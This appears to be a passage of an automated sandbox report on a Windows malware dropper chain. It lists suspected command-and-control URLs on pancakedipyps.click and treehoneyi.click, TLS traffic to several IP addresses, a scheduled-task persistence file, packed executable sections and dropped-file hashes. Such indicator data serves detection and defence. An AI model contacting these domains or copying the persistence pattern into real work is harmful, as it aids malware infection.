Source: 324fcfa2b3.exe, 0000000A.00000003.3048615422.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3147880886.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000002.3151978215.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000002.3152494935.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3049062826.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3048762934.0000000000A68000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3086862934.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3147996207.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3048868595.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3069801901.0000000000A74000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3049166957.0000000000A74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/
Source: 324fcfa2b3.exe, 0000000A.00000003.2959290564.0000000000A19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/29
Source: 324fcfa2b3.exe, 0000000A.00000003.3087049951.0000000000A70000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3086187109.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3147996207.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/6C
Source: 324fcfa2b3.exe, 0000000A.00000002.3152401057.0000000000A70000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3147996207.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/6CfK
Source: 324fcfa2b3.exe, 0000000A.00000003.3086862934.0000000000A84000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3069801901.0000000000A74000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3049166957.0000000000A74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api
Source: 324fcfa2b3.exe, 0000000A.00000003.2959290564.0000000000A0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/api0
Source: 324fcfa2b3.exe, 0000000A.00000003.3086187109.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3048615422.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3147880886.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000002.3152494935.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3049062826.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3048762934.0000000000A68000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3086862934.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3069801901.0000000000A74000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3049166957.0000000000A74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/fecQ
Source: 324fcfa2b3.exe, 0000000A.00000002.3151978215.0000000000A19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/mh
Source: 324fcfa2b3.exe, 0000000A.00000003.3086187109.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3048615422.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3147880886.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000002.3152494935.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3049062826.0000000000A6D000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3048762934.0000000000A68000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3086862934.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3069801901.0000000000A74000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3049166957.0000000000A74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/ob
Source: 324fcfa2b3.exe, 0000000A.00000003.3087049951.0000000000A70000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3086187109.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000002.3152401057.0000000000A70000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3147996207.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/pi
Source: 324fcfa2b3.exe, 0000000A.00000003.2959290564.0000000000A19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click/piz
Source: 324fcfa2b3.exe, 0000000A.00000003.2959290564.0000000000A0B000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000002.3151978215.0000000000A0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click:443/api
Source: 324fcfa2b3.exe, 0000000A.00000003.3048868595.0000000000A0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click:443/apicrosoft
Source: 324fcfa2b3.exe, 0000000A.00000003.2959290564.0000000000A0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pancakedipyps.click:443/apin
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, 6454cda0dd.exe, 00000014.00000000.3289959239.0000000000F22000.00000002.00000001.01000000.00000011.sdmp, 6454cda0dd.exe, 00000014.00000002.3316367923.00000000031D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sci.libertyreserve.com/
Source: skotes.exe, 00000006.00000002.3321244705.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, 324fcfa2b3.exe, 00000008.00000002.2913131617.0000000001071000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: ba94e3db0d.exe, 0000000C.00000003.3208754419.0000000005AF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: ba94e3db0d.exe, 0000000C.00000003.3208754419.0000000005AF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: ba94e3db0d.exe, 0000000C.00000002.3328837625.00000000057D0000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3207521877.00000000057DB000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3256445072.00000000057DF000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3257004403.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3254995716.0000000000F49000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/
Source: ba94e3db0d.exe, 0000000C.00000002.3328837625.00000000057D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/QG
Source: ba94e3db0d.exe, 0000000C.00000003.3154358623.0000000000F69000.00000004.00000020.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3155420162.0000000000F40000.00000004.00000020.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3155069518.0000000000F3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/api
Source: ba94e3db0d.exe, 0000000C.00000003.3293694823.0000000000F34000.00000004.00000020.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000002.3315513660.0000000000F34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/api$
Source: ba94e3db0d.exe, 0000000C.00000003.3154358623.0000000000F69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/apiN
Source: ba94e3db0d.exe, 0000000C.00000002.3328837625.00000000057D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click/qF
Source: ba94e3db0d.exe, 0000000C.00000003.3154358623.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://treehoneyi.click:443/api
Source: f2de4e119f.exe, 00000007.00000003.2957206109.0000000005329000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2956958118.0000000005321000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957273368.0000000005331000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957053930.0000000005325000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3017248900.0000000003325000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3236129819.000000000587B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: f2de4e119f.exe, 00000007.00000003.2957206109.0000000005329000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2956958118.0000000005321000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957273368.0000000005331000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2957053930.0000000005325000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3017248900.0000000003325000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3236129819.000000000587B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: f2de4e119f.exe, 00000007.00000003.2881843351.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2881941617.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2882123457.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961958766.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961743739.00000000032CB000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2962343951.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156477386.000000000581C000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156659016.0000000005819000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156890308.0000000005819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: f2de4e119f.exe, 00000007.00000003.2881843351.00000000052D9000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2881941617.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, f2de4e119f.exe, 00000007.00000003.2882123457.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961958766.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2961743739.00000000032CB000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.2962343951.00000000032C8000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156477386.000000000581C000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156659016.0000000005819000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3156890308.0000000005819000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: ba94e3db0d.exe, 0000000C.00000003.3208754419.0000000005AF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: ba94e3db0d.exe, 0000000C.00000003.3208754419.0000000005AF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: f2de4e119f.exe, 00000007.00000003.2933860162.00000000055C8000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3016446328.00000000035B7000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3208754419.0000000005AF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: ba94e3db0d.exe, 0000000C.00000003.3208754419.0000000005AF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: f2de4e119f.exe, 00000007.00000003.2933860162.00000000055C8000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3016446328.00000000035B7000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3208754419.0000000005AF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: f2de4e119f.exe, 00000007.00000003.2933860162.00000000055C8000.00000004.00000800.00020000.00000000.sdmp, 324fcfa2b3.exe, 0000000A.00000003.3016446328.00000000035B7000.00000004.00000800.00020000.00000000.sdmp, ba94e3db0d.exe, 0000000C.00000003.3208754419.0000000005AF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943

Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.5:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.5:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.5:49892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.5:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.5:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.5:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.5:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.5:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.209.202:443 -> 192.168.2.5:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.5:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.5:49950 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.5:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.5:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.5:49992 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: f2de4e119f.exe.6.dr	Static PE information: section name:
Source: f2de4e119f.exe.6.dr	Static PE information: section name: .rsrc
Source: f2de4e119f.exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: c6628554c1.exe.6.dr	Static PE information: section name:
Source: c6628554c1.exe.6.dr	Static PE information: section name: .idata
Source: c6628554c1.exe.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: ba94e3db0d.exe.6.dr	Static PE information: section name:
Source: ba94e3db0d.exe.6.dr	Static PE information: section name: .idata
Source: ba94e3db0d.exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: ef4aa82a7c.exe.6.dr	Static PE information: section name:
Source: ef4aa82a7c.exe.6.dr	Static PE information: section name: .idata
Source: ef4aa82a7c.exe.6.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_0090CB97 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

6_2_0090CB97

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C7049	0_2_005C7049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C8860	0_2_005C8860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C78BB	0_2_005C78BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00698101	0_2_00698101
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C31A8	0_2_005C31A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00584B30	0_2_00584B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C2D10	0_2_005C2D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00584DE0	0_2_00584DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005B7F36	0_2_005B7F36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005C779B	0_2_005C779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_009378BB	2_2_009378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00937049	2_2_00937049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00938860	2_2_00938860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_009331A8	2_2_009331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_008F4B30	2_2_008F4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_008F4DE0	2_2_008F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00932D10	2_2_00932D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_0093779B	2_2_0093779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00927F36	2_2_00927F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_009378BB	3_2_009378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00937049	3_2_00937049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00938860	3_2_00938860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_009331A8	3_2_009331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_008F4B30	3_2_008F4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_008F4DE0	3_2_008F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00932D10	3_2_00932D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_0093779B	3_2_0093779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00927F36	3_2_00927F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_008FE530	6_2_008FE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00916192	6_2_00916192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00938860	6_2_00938860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_008F4B30	6_2_008F4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_008F4DE0	6_2_008F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00932D10	6_2_00932D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00910E13	6_2_00910E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00937049	6_2_00937049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_009331A8	6_2_009331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00911602	6_2_00911602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_0093779B	6_2_0093779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_009378BB	6_2_009378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00913DF1	6_2_00913DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00927F36	6_2_00927F36

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe FFCC7288342A28C0580BEA142951BF4AC33A3F391D8F9323F9E74293D2817E82
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 005980C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00928E10 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0090D942 appears 86 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0090D663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00907A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0090D64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 009080C0 appears 393 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0090DF80 appears 82 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: random[2].exe0.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 6454cda0dd.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9979031846049047
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9979031846049047
Source: random[1].exe.6.dr	Static PE information: Section: ZLIB complexity 1.0003758591065293
Source: f2de4e119f.exe.6.dr	Static PE information: Section: ZLIB complexity 1.0003758591065293
Source: random[1].exe0.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe0.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 324fcfa2b3.exe.6.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
